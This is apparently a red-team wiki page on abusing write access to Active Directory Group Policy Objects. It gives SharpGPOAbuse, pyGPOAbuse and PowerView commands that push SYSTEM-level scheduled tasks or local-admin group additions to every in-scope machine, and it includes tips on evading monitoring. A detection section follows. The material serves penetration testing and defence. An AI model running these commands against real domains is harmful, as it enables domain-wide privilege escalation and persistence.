GPO abuse
TL;DR: Group Policy Objects ship code (scheduled tasks, scripts, MSI installs, registry edits) to every machine or user in their linked scope. Write access to a GPO — even via inherited ACL on the SYSVOL folder or the AD object — means SYSTEM on every endpoint inside that scope on the next refresh.
What it is
A GPO is two halves: an AD object under CN=Policies,CN=System,DC=… and a folder on the SYSVOL share at \\corp.local\SYSVOL\corp.local\Policies\{GUID}\. Writable Group Policy Container or Group Policy Template means an attacker can edit gPCFileSysPath contents (scripts, scheduled tasks, preferences) and the gPCMachineExtensionNames CSEs list. The next gpupdate (default refresh 90 ± 30 minutes, immediate on reboot/logon) executes the payload as SYSTEM (machine policy) or the logged-in user (user policy).
Preconditions / where it applies
GenericAll,GenericWrite,WriteDACL,WriteOwner, orWritePropertyon the GPO’s AD object (gPCFileSysPath path counts too)- Or Modify rights inside the SYSVOL GPO folder (
gPCFileSysPath) - The GPO is linked to an OU containing at least one interesting target (DCs, servers, admin workstations)
Technique
SharpGPOAbuse (Windows) and pyGPOAbuse (Linux) automate the edits. To pop SYSTEM on every machine the GPO applies to, add an immediate scheduled task:
1
2
3
# Linux side
python3 pygpoabuse.py corp.local/alice:Pass -gpo-id '{31B2F340-...}' \
-command 'powershell -enc <b64>' -taskname Updater
1
2
3
4
# Windows side
SharpGPOAbuse.exe --AddComputerTask --TaskName "Updater" \
--Author "NT AUTHORITY\SYSTEM" --Command "cmd.exe" \
--Arguments "/c powershell -enc <b64>" --GPOName "Workstation Baseline"
Both tools edit Machine\Preferences\ScheduledTasks\ScheduledTasks.xml, bump the versionNumber attribute on the GPC, and add {AADCED64-746C-4633-A97C-D61349046527} to gPCMachineExtensionNames. On next policy refresh the task runs once with SYSTEM context and deletes itself.
For user-context payloads, drop a logon script (User\Scripts\Logon\) and toggle the GPT.ini version. For persistence on DCs, target a GPO linked to the Domain Controllers OU — but be aware that “Default Domain Controllers Policy” is heavily monitored.
Restore: always snapshot GPT.ini, the affected XML files, and gPCMachineExtensionNames before editing so you can revert.
PowerView’s New-GPOImmediateTask -TaskName evil -Command cmd -CommandArguments '/c net localgroup administrators me /add' -GPODisplayName 'Workstation Baseline' -Force is a one-liner equivalent that handles the XML + GPC version bump for you; if you cannot wait for the 90-minute refresh window you can force the policy pull by running gpupdate /force on the target if you already have a foothold there, or trigger it indirectly via a benign reboot/logon you induce. A subtler variant when ScheduledTasks CSE is monitored: edit Machine\Preferences\Groups\Groups.xml to add a <Member name="me" action="ADD" sid=""/> to local Administrators on every in-scope host — no task, no script, just a group-membership preference that AVs often whitelist.
Detection and defence
- Event 5136 (AD object change) on Group Policy Container objects — filter on attributes
gPCMachineExtensionNames,versionNumber - File integrity on SYSVOL: any new
ScheduledTasks.xml,Registry.xml, orScripts.iniis a high-fidelity signal - BloodHound’s
GPLink,WriteGPLink,GenericAll→GPO edges show abuse paths; remove non-Tier-0 principals from any GPO ACL - Set advanced auditing on SYSVOL and force GPO change events to a SIEM
References
- SharpGPOAbuse — Windows tooling and technique writeup
- pyGPOAbuse — Linux/Impacket equivalent
- HackTricks — GPO abuse — broader ACL→GPO paths
- ired.team — privileged accounts and GPO abuse — New-GPOImmediateTask and Groups.xml walkthrough
- See also: acl-abuse, bloodhound, ad-persistence